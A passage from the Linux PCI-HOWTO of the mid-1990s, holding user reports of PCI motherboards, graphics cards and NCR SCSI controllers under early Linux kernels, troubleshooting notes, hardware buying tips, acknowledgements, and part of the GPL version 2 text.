ASUS PCI/I-486SP3 / i486DX2-66 / 8 MB PS/2 70 ns BIOS: Award v 4.50 CPU TO DRAM write buffer: enabled CPU TO PCI write buffer: enabled PCI TO DRAM write buffer: disabled, unchangeable CPU TO PCI burst write: enabled Miro Crystal 8s PCI - S3 P86C805 - 1MB DRAM

Quantum LPS 540S SCSI-Harddisk on NCR53c810-controller.

8.18 robert logan (rl@de-montfort.ac.uk with GW/2000)

Gateway 2000 4DX2-66P 16 Megs RAM, PCI ATI AX0 2MB DRAM (ATI GUP). WD 2540 Hard Disk (528 Megs) CrystalScan 1776LE 17inch. (Runs up to 1280x1024) Slackware 1.1.2 (0.99pl15f)

It is giving no problems. He uses SLIP for networking and an Orchid-Soundwave-32 for niceties, awaiting the NCR-Driver. The only problem he has is that the IDE-Drive could be much faster on the PCI-IDE. It is one of the new Western Digital fast drives and in DOS/WfW it absolutely screams - on Linux it is just as slow as a good IDE-Drive.

8.19 archie@CS.Berkeley.EDU and his friend use ASUS

Archie and his friend have rather similar configurations:

  • ASUS PCI-SP3 board (4 ISA, 3 PCI)
  • Intel 486DX2/66
  • Genoa Phantom 8900PCI card (friend: Tseng 3000/W32i chipset)
  • Maxtor 345 MB IDE hard drive
  • Supra 14.4 internal modem
  • ViewSonic 6e monitor (Archie)
  • NEC Multisync 4fge (friend)
  • Slackware 1.2.0

The onboard-SCSI is disabled. First there were problems with the IDE-drive: ``on the board there's a jumper which selects whether IRQ14 comes from the ISA bus or the PCI bus. The manual has an example where they show connecting it to PCI INT-A. Well, we did that just like the example... but then later our IDE drive would not work (the IDE controller is on board). Had to take it back. The guys at NCA were puzzled, then traced it back to this jumper. I guess the IDE controller uses IRQ14 or something? That's not documented anywhere in the manual. Other than that, seems to be kicking ass nicely now. Running X, modeming, etc. (for the Supra you have to explicitly tell the kernel that the COM port has a 16550A using setserial (in Slackware /etc/rc.d/rc.serial))''.

8.20 Michael Will with ASUS-SP3 486 (the old one)

used the following:

  • ASUS PCI-SP3-Board with 486dx2/66 and 16M RAM
  • NCR53c810-SCSI-II chip driving a 1GB-Seagate-SCSI-II disk and a Wangtec-tape
  • ATI-GUP PCI Mach32 Graphics card with 2M VRAM running perfectly with XFree86(tm)-3.1 8bpp and 16bpp
  • Linux kernel 1.1.69

It runs perfectly and I am content with the speed, the ATI-GUP-PCI (Mach32) does not give as good benchmarks as expected, though. Since I got the money by now, I got me an ASUS-SP4 with P90 which gives me better throughput on Mach32-PCI... If I had even more money I'd get me another 16M of RAM and a Mach64-PCI with 4M RAM, though... I still keep on dreaming :-)

8.21 Mike Frisch (mfrisch@saturn.tlug.org) Giga-Byte 486IM

  • Motherboard: Giga-Byte 486IM
  • Configuration: 4 ISA slots (2 double as VLB) and 4 PCI slots
  • CPU: Intel 486DX/33
  • BIOS: Award 4.50G
  • PCI EIDE Disk Controller: Giga-Byte GA-107 (CMD 640x PCI Multi-I/O)
  • PCI Video card: ATI Graphics eXpression PCI 2MB DRAM
  • Linux Kernel: 1.2.9
  • Linux Dist'n: Highly modified Slackware 2.2.0

I have been running this board 24 hours a day for the past 5-6 months. It has worked flawlessly for me under DOS/Windows, OS/2 Warp, and Linux (with Linux being run usually 24 hours a day).

8.22 Karl Keyte (kkeyte@esoc.bitnet) Gigabyte GA586 Pentium

  • PCI/EISA Board Gigabyte GA586-ID 90MHz Pentium (dual processor, one fitted)
  • 32M RAM
  • SCSI - no scsi-NCR-chip on-board, using Adaptec 1542C,
  • PCI ATI GUP 2M VRAM
  • Adaptec 1742 EISA SCSI controller
  • Soundblaster 16
  • usual I/O

Everything under DOS AND Linux works perfectly. No problem whatsoever. A VERY fast machine! BYTE Unix benchmarks place it about the same as a Sun SuperSPARC-20 running Solaris 2.3. The PC is faster for integer arithmetic and process stuff (including context switching). The SPARC is faster for floating point and one of the disk benchmarks.

8.23 kenf@clark.net with G/W 2000

He uses a Gateway 2000 with no problems, except the soundcard (which one?). He is trading it in for a genuine soundblaster in hopes that will help.

8.24 Joerg Wedeck (jw@peanuts.informatik.uni-tuebingen.de) / ESCOM

originaly buyed a 486 DX2/66 from ESCOM (which board?) with onboard IDE and without (!) onboard NCR-SCSI-chip. ISA-adaptec 1542cf scsi-controller instead spea v7 mercury lite (s3, PCI, 1MB), ISA-Soundblaster-16, mitsumi-cdrom (the slower one). Everything except the archive-streamer works with no problems. The spea-v7 works perfectly since XFree86-2.1

He abandoned the Intel-board in favour of an ASUS-SP3-g and has some problems with PCI-to-Memory burstmode which is crashing only on Linux, "looking like a deadlock in the swapper". If you have any information on this, please eMail the maintainer of the PCI-HOWTO.

After turning off the PCI-to-Memory posting feature it just works perfect.

Rather than sending him mail please read his http-homepage at "http://wsiserv.informatik.uni-tuebingen.de/ jw" where he keeps information about his PCI-system, too.

8.25 Ulrich Teichert / ASUS

ASUS-PCI board with AMD486dx40 (but actually running at 33Mhz?!) His ISA-ET3000 Optima 1024A ISA works nice. No problems with Quantum540S SCSI Harddisk attached to the onboard NCR53c810.


Linux PCI-HOWTO: Reports of problems

 Next Previous Contents

9. Reports of problems

9.1 Compaq PCI systems, especially Presarios

Patrick Yaner (p_yaner@eos.ncsu.edu) reported a Compaq-speciality to me. It seems they are mapping the PCI BIOS data area to an obscure area of memory, one that Linux (or OS2) cannot access. It can usually find it, but it can't get in, and gives a message on startup (something like "pcibios_init: entry in high memory area, unable to access"). Although this is alright with the display (which is on the PCI bus) and the IDE controller (also PCI), it means any other PCI devices -- such as an Ethernet card -- cannot be detected by Linux.

Compaq offers a driver for DOS at ftp://ftp.compaq.com/pub/softpaq/Drivers/SP1116.ZIP

but using this with linux would mean using the program that boots linux from DOS, instead of LILO. Note that Compaq occasionally updates the software in this archive, so the file ftp://ftp.compaq.com/pub/softpaq/allfiles.html (also available as allfiles.txt) might be handy in checking to see that they haven't upgraded.

Oddly, this information can also be found in the SCSI HOWTO, although the Pressarios come with IDE built in.

9.2 VLSI Wildcat PCI chipset like in Zeos P120 box

Paul Bame (bame@sde.hp.com) reported:

The Wildcat PCI chipset works fine in late 1.3 and all 2.0 kernels.

9.3 dmarples@comms.eee.strathclyde.ac.uk G/W 2000

Gateway 2000 G/W 2000 4DX2/66 PCI ATI-Graphics-Ultra-Pro IDE of indeterminate make

It works well - only the IDE-Card runs in ISA-compatibility-mode, and works a lot faster when switched into PCI-Mode by a DOS-program... thus it's not that fast in Linux, and a patch would be nice.

9.4 cip574@wpax01.physik.uni-wuerzburg.de (Frank Hofmann) / ASUS

He uses the ASUS-board with 16MB-RAM, ISA-based S3/928, and the onboard-IDE-controller with a Seagate ST4550A harddisk. He's had no trouble with the newer Linux-kernels.

His problem:

using X, my mouse is not responding the way I was used to before. It's sometimes behind movement and makes jumps if moved quickly. I think this was discussed In a Linux newsgroup before (I don't know which one) and is due to the use of 16550 serial chips for the onboard serial interfaces. After two weeks, I got used to it :-)

Reducing the threshold of the 16550 should help. There should be a patch to setserial available somewhere, but I do not know where.

9.5 axel@avalanche.cs.tu-berlin.de (Axel Mahler) / ASUS

ASUS PCI/I-486SP3 Motherboard (Award BIOS 4.50), 16 MB RAM the on-Board NCR Chip is disabled, he had the Genoa Phantom/W32 2MB for PCI and a Adaptec AHA-1542CF (BIOS v2.01) connected to:

  • an IBM 1.05 GB Harddisk
  • a Toshiba CD-ROM (XM4101-B)
  • a HP DAT-Streamer (2GB)

when creating the filesystems, 'mke2fs' (0.4, v. 1.11.93) hung and installation was impossible. After replacing the Genoa Phantom/W32 2MB PCI with an ELSA Winner 1000 2MB PCI it worked perfectly. He tested it with an old Eizo VGA-ISA and it worked as well, so the problem was in the Genoa-PCI-card.

9.6 Frank Strauss (strauss@dagoba.escape.de) / ASUS

ASUS SP3 Board i486DX2/66 NCR53c810 disabled Adaptec 1542B in ISA Slot with 2 hard drives (200MB Maxtor, 420MB Fijutsu), SyQuest 88MB and Tandberg Streamer ELSA Winner 1000 PCI, 1MB-VRAM Soundblaster Pro in ISA Slot at IRQ 5 Onboard IDE disabled Onboard serial, parallel, FD enabled

After a reset, the machine sometimes 'hangs' (soft and hard-reset the same) - this is probably not related to the Adaptec and the Soundcard, because even without these the system sometimes fails to come up. But if it runs, (and the ELSA-WINNER-1000-PCI-message appears) it runs ok.

The two serial ports are detected as 16550 as they should, but at some mailbox-sessions there was heavy data-loss at V42bis... The problem seems to be in the hardware...

CPU>-PCI-Burst seems to work well with DOS/MS-Windows

CPU->PCI-Burst does not work properly with linux0.99p15, Messing up when switching the virtual-consoles, crashing completely when calling big apps like ghostview, or xdvi, leaving the SCSI-LED on (!).

(I suspect these apps would be using a lot of CPU->PCI-burst because of the big heap of data to transmit to the PCI-Winner-1000)

After disabling CPU->PCI-Burst, it works well, the Winner-1000 at 1152x846 (not much font cache with 1MB) does 93k xstones. OpaqueMove with twm is more than just endureable :-)

He has got a SATURN.EXE which he loads under DOS before starting Linux, helping to turn on burst without hangs...

Someone stated that these problems might go away when turning off "sync negotiation" on the Adaptec - I do not know if this is possible with the adaptec1542B too? But I guess so.

With CPU->PCI-Burst it yielded 95k xstones, so he considers it as not too grave to do without. His only problem is that he would like to run his Winner-1000 at 1152x900 which fails because it seems to take any x-resolution higher than 1024pixels as a 1280pixel-resolution, thus wasting a lot end resulting in a y-resolution of 816pixels... but this is probably no PCI-related problem. It should have gone away with XFree86-2.1

9.7 egooch@mc.com / ASUS

  • BOARD ASUS PCI/I-486 SP3 RAM: 16MB (4x4M-SIMM)
  • CPU 486DX33 CPU
  • BIOS Ver. 4.50 (12/30/93)
  • Floppy Two floppy drives (1.2 and 1.44), using ASUS on-board floppy controller
  • SCSI tried both WD7000 SCSI controller and Adaptec 1542CF and worked.
  • Two SCSI 320M hard drives
  • SCSI NEC84 CDROM drive
  • SCSI QIC150 Archive tape drive
  • Video - Tseng ET4000 ISA graphics card
  • Sound PAS16 sound card
  • Printer attached to on-board ASUS parallel port

He has nothing in the PCI-Slots yet, but wants to buy a PCI-Video-Card, currently uses WD7000 SCSI controller but will switch to the NCR-Chip onboard as soon as the driver is out.

Everything works perfectly - the first serial port which has a 14.4K-Modem attached does hang occasionally when reconnecting with the modem after having used it previously. He says that would not be unique to ASUS but rather a bug in the SMC-LSI device with its 16550UART. The logitech-serial-mouse on the second port works fine. Setting down the threshold of the 16550 for the mouseport would definitely help, one does seem to need a special patched setserial for that? I have not got the information yet, please contact me if you know more!

9.8 Stefan.Dalibor@informatik.uni-erlangen.de / GigaByte

  • Board - GA-486iS from Gigabyte w/ 256Kb 2L-Cache, i486-DX2
  • Bios - AMI, 93/8
  • SCSI - no scsi-NCR-chip on-board, using Adaptec 1542C,
  • Video - ELSA Winner 1000
  • Linux 0.99pl14 + SCSI-Clustering-Patches / Slackware 1.1.1

All seems to go well, but he has not tried neither networking, printing or a streamer yet. Before applying the clustering- patches he had some problems with hangs triggered by "find", but this no longer is the case - perhaps it was an older kernel-bug.

The ELSA-Winner-1000 sometimes hangs, with very strange patterns on the screen resolved only by rebooting... The dealer has told him it was a bug in the ELSA-Card, but the manufacturer claims it had solved the problem. The bug is not reproducible so he does not plan to take any action at the moment.

All in all the machine seems to work very well under heavy text processing (emacs, LaTeX, xfig, ghostview) usage. Interaction is surprisingly responsive, little difference between it and the 3-4X as expensive Sun he works on...

CPU->PCI-Burst is still disabled because the bios does not support the PCI-things well?

A problem with his new modem (v32 terbo) arose: it looses characters. Especially when using SLIP it complains a lot about RX and TX errors. As soon as he runs X it gets unusable. He said he activated FIFO and RTS/CTS with stty, but to no avail...

9.9 Steve Durst (sdurst@burns.rl.af.mil) with UMC 8500 mainboard

Running Linux 1.2.12 on the UMC8500-100Mhz motherboard with the dreaded CMD PCIO640B (E)IDE controller, when booting the screen wiggles a few seconds, as if the Diamond Stealth64-DRAM (S3 864) has to warm up first, but he can live with that.

9.10 Tom Drabenstott (tldraben@Teleport.Com) with Comtrade / PCI48IX

PCI48IX Motherboard Rev. 1.0. Made by ??? documentation copyrighted by "exrc". The BIOS says not very much about PCI.

His E-315E Super IDE UMC (863+865) ISA-Controller-card does have problems. (It is a multifunction controller-card). It seems to work well under DOS/OS2 but not under Linux.


Linux PCI-HOWTO: General tips for PCI-Motherboard + Linux NCR PCI SCSI

 Next Previous Contents

10. General tips for PCI-Motherboard + Linux NCR PCI SCSI

This was compiled by Angelo Haritsis (ah@doc.ic.ac.uk) from various people's postings:

10.1 DON'Ts:

Do *NOT* go for combination VLB/PCI motherboards. They usually have a lot of problems. Get a plain PCI version (with ISA slots as well of course). A lot of bad things have been heard about OPTI chipset PCI motherboards. Someone hints: "Avoid the OPTi (82C596/82C597/82C822) chipset based motherboards like the TMC PCI54PV".

(I know of at least one person having no problems with his TMC PCI54PV motherboard. He just had to put the NCR53c810 addonboard into slot-A which is the only slot capable of busmastering as it seems.)

Rumours say that Intel chipset PCI motherboards will have problems with more than one bus-mastering PCI board. I have not tried this one yet on mine and have nothing to suggest. I also heard that the Saturn II chipset is problematic, but this is the one I use and it is perfectly ok! Advice: Try to negotiate a 1-2 week money back agreement with your supplier, in case the motherboard you get has problems with the use you plan for it.

10.2 SIMM slots

Go for 72-pin only SIMMs for speed: Some (all?) of the mainboards which take 30 pin SIMMs use a 32 bit main memory interface, and will be significantly slower than the Intel based boards which all use a 64 bit or permantly interleaved memory interface. You might want to keep that in mind.

10.3 Praised PCI Pentium motherboard

The P90 Intel motherboard with the Intel Premiere II chipset (aka Plato). Get the latest BIOS which has concatenated NCR scsi BIOS 3.04.00. Otherwise DOS won't see your scsi disk(s) if you use a BIOS-less 53c810 based controller. NCR SCSI BIOS exists in the AMI BIOS of the plato after version 1.00.08 (or maybe verion 1.00.06). This BIOS is FLASH upgradeable so you should be able to get the upgrade on a floppy from your supplier. The current version is 1.00.10 and has all early problems fixed.

(Bios files should be available at ftp.demon.co.uk:/pub/ibmpc/intel, but I did not check that myself. the Autor.)

10.4 irq-lines

The value in the interrupt line PCI configuration register is usually set manually (for compatability with legacy ISA boards) in the extended CMOS setup screens on a per-slot or per-device basis. Older PCI mainboards also force you to set jumpers for each PCI slot/device which select how PCI INTA and perhaps INTB, INTC, and INTD are mapped to an 8259 IRQ line, Obviously, if these jumpers exist on your board, they must match the settings in the extended CMOS setup. Also note that some boards (notably Viglens) have silkscreens and instruction manuals which disagree with the wiring, and some experimentation may be in order.

10.5 Info about the different NCR 8xx family scsi chips:

All NCR 8XX Chips are dircet connect PCI bus mastering devices, that have no preformance difference wether on motherboard or add in option card. All devices comply with PCI 2.0 Specification, and can burst 32 bit data at the full 33 MHz (133Mbytes/Sec)

53C810

53C810 = 8 bit Fast SCSI-2 (10 MB/Sec) Single ended only Requires Integrated Mother board BIOS 100 pin Quad Flat Pack (PQFP) Worlds first PCI SCSI Chip, Volumes make it the most inexpensive.

53C815

53C815 = 8 bit Fast SCSI-2 (10 MB/Sec) Single Ended only Support ROM BIOS interface, which makes it ideal for add-in card Designs. 128 Pin QFP

53C825

53C825 = 8 bit Fast SCSI-2, Single ended or Differential 16 bit Fast SCSI-2 (20 MB/Sec), Single ended or Differetial Also has support for external Rom, making it a good candidate for add in cards. 160 pin QFP Not supported by linux yet. (See section below on news about the 825). Must have devices with wide or differential scsi to use these features.

10.6 future of 53c8xx

There are 4 new devices planned for announcement late this year and into early next year. Footprint compitible with 810 and 825 with some new features.

All the Chips require a BIOS in DOS/Intel applications. The 810 is the only chip that needs it resident on the motherboard. Latest NCR SCSI BIOS version: 3.04.00 The bios supports disks >1GB, indeed up to 8G under MS-LOSS.

10.7 Performance of the 53c810

C't magazine's DOS benchmarks showed that it was significantly faster than the Buslogic BT-946, one user noted a 10-15% performance increase versus an Adaptec 2940, and with a very fast disk it may be 2.5X as fast as an Adaptec 1540.

10.8 News about NCR53c825 support

works. period.

10.9 Frederic POTTER (Frederic.Potter@masi.ibp.fr) about Pentium+NCR+Strap_bug

On some Intel Plato board, the NCR bios doesn't recognize the board, because it needs to see the board as a "secondary SCSI controller", and because on most SCSI board the jumper to select between primary/secondary has been ironed to primary (to spare 1 cent, presumably).

Solution:

near the NCR chip, they are 3 via ( kind of holes ) with a strap like
that
                O--O  O

        this mean primary is selected as default setting. For the Plato Intel
        Mainboard, it should be like that

                O  O--O

        The best solution is to get rid of the strap and to put a 2 position
        jumper instead.

10.10 PCIprobe in the latest Linux Kernels by Frederic Potter

Frederic Potter has added a PCI-Probe into the latest kernels. If you do a "cat /proc/pci" it should list all your cards. If you own cards which are not properly recogniced, please contact him via mail as "Frederic.Potter@masi.ibp.fr".

See arch/i386/kernel/bios32.c and include/linux/pci.h in the kernel source for more information on PCI-Probe-Stuff.

10.11 Other PCI Devices

What other PCI-cards are supported? Apart from various graphicscards, I would like to know about other cards like ethernet, framegrabber, or the TSET boards Cyclades is about to beta-test at the moment:

Cyclades: a 16-port PCI RISC-based multiport card.

The product is called Cyclom-Ye, and has the following characteristics:

  • PCI host card based on the PLX chip-set. This host card supports 8 to 32 serial ports, utilizing 8 or 16-port external boxes.
  • SCSI II cable.
  • 8 or 16-port external boxes with RJ45 or DB25 connectors (your choice). You can start with 8 ports and expand to 32, by just adding more boxes. Each external box contains 2 or 4 CD-1400 RISC Serial controllers (each CD-1400 controls 4 serial ports).
  • Up to 4 Host cards can be installed in the PC system, allowing a maximum of 128 serial ports per system.

The product is being in the beta-test phase at July the 26th, 1995, and should be available by Octobre or something. eMail them at sales@cyclades.com.


Linux PCI-HOWTO: Conclusion

 Next Previous Contents

11. Conclusion

If you have some moneny to put into your machine, you'd be well off with a Pentium90, ASUS-SP4, which is what I use at the moment. If you can afford 32M RAM that would be much better than 16M RAM.

Real soon now the upcoming standard will be the Triton Chipset with support for special SIMMS called EDODRAM, and SRAM. Both will be more expensive than PS2-RAM, and at the time of writing (28-June-1995) SRAM is not available. While EDO-DRAM is more expensive, this is not because of the production costs, they are said to be the same.

For a highperformance system I would still choose an ASUS-TP4/XE with EDO-DRAM, but if you do not need to use it at the moment, I d rather wait some more.

For Graphic-boards I'd say the best cheap board fitting perfectly on a good Multisync-15 like the Samsung SyncMaster 15Gli, is the SPEA V7 Mirage P64 with Trio64 Chipset and 2M DRAM. For more sophisticated Display like the Iiyama-IDEK 8617A-T I think the PCI Mach64 ATI-GUP-Turbo (not the cheaper GUP-Turbo-Windows) would be a good choice, with 4M RAM you can have truecolor in higher resolutions. It is well supported in the XFree86(tm)-3.1.1, and there are commercial X-Servers available of which I'd recommend Accelerated/X by Roell, which supports the Mach64 very well and fast.

For SCSI I'd take the DPT rather than the (much cheaper and very fast) NCR53c810 in case you plan to use SCSI-Tapes a lot. The NCR53c810 driver on Linux does lack disconnect/reconnect support, thus blocking the SCSIbus on operations like "mt rewind", "mt fsf" etc. It bears a performance penalty on tar-operations - but check out Drews new alpha drivers before making a decision, perhaps it does solve all the problems.

For building servers, the DPT would be the controller of choice anyway because of all the nifty hardware cache (with elevator sorting on accesses, so cache it is not a silly thing even in a Linux enviroment where the OS does the caching) and RAID-Support up to raid level 5.

If you do not want to spend that much money on computer equipment (e.g.: you are having a life) you might go for an ASUS-SP3-SiS with AMD-DX2/66 or DX4/100. The SPEA V7 Mirage P64 PCI with 2M DRAM would be a good choice, since it uses the Trio64 S3 Chip, which is well supported by XFree86(tm)-3.1.1, quite cheap to buy and fast, too.

Another fine card since XFree86(tm)-3.1 is the fast and cheap et4000/w32-PCI-card.


Linux PCI-HOWTO: Thanks

 Next Previous Contents

12. Thanks

I want to thank the following people for supporting this document:

  • David Lesher (wb8foz@netcom.com) for extensive help with the english language
  • Nathanael MAKAREVITCH (nat@nataa.frmug.fr.net) for translating into french
  • Jun Morimoto (morimoto@lab.imagica.co.jp) for translating into japanese
  • Marco Melgazzi (marco@vcldec1.polito.it) for translating into italian
  • Donald Becker (becker@cesdis.gsfc.nasa.gov) for ethernet-informations
  • Drew Eckhardt (drew@kinglear.cs.Colorado.EDU) for SCSI-informations
  • Zhahai Stewart (zhahai@hisys.com) for help with the intro section

and many more peole adding information mostly by mail and by posts, some of them will be named here:

CARSTEN@AWORLD.aworld.de,
dmarples@comms.eee.strathclyde.ac.uk,
drew@kinglear.cs.Colorado.EDU (Working at the PCI-NCR53c810-Driver),
duncan@spd.eee.strathclyde.ac.uk,
fm3@irz.inf.tu-dresden.de,
grif@ucrengr.ucr.edu,
heinrich@zsv.gmd.de,
hm@ix.de (iX-Magazine),
hm@seneca.ix.de,
kebsch.pad@sni.de,
kenf@clark.net,
matthias@penthouse.boerde.de,
ortloff@omega.informatik.uni-dortmund.de,
preberle@cip.informatik.uni-erlangen.de,
rob@me62.lbl.gov,
rsi@netcom.com,
sk001sp@unidui.uni-duisburg.de,
strauss@dagoba.escape.de,
strauss@dagoba.priconet.de,
hi86@rz.uni-karlsruhe.de,
Ulrich Teichert, krypton@netzservice.de,
Stefan.Dalibor@informatik.uni-erlangen.de,
tldraben@teleport.com
mundkur@eagle.ece.uci.edu,
ooch@jericho.mc.com,
Gert Doering (gert@greenie.muc.de),
James D. Levine (jdl@netcom.com),
Georg von Below (gbelow@pmail.sams.ch),
Jerome Meyers (jeromem@quake.xnet.com),
Angelo Haritsis (ah@doc.ic.ac.uk),
archie@CS.Berkeley.EDU and his friend kenf@clark.net.


Linux PCI-HOWTO: copyright/legalese

 Next Previous Contents

13. copyright/legalese

(c)opyright 1993,94,97,2001 by Michael Will - the GPL (Gnu Public License) applies. See last section about this.

If you sell this HOWTO on a CD or in a book I would be happy to have a copy for reference.

(Michael.Will@student.uni-tuebingen.de)

Contact me, either via eMail or call +49-7071-889710.

Trademarks are owned by their owners. There is no warranty on the information in this document.

For german users I am offering tested, preinstalled / preconfigured and supported Linux-PCI-machines. Call me at 07071-889710


Linux PCI-HOWTO: GPL - Gnu Public License

 Next Previous Contents

14. GPL - Gnu Public License

                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
                          675 Mass Ave, Cambridge, MA 02139, USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

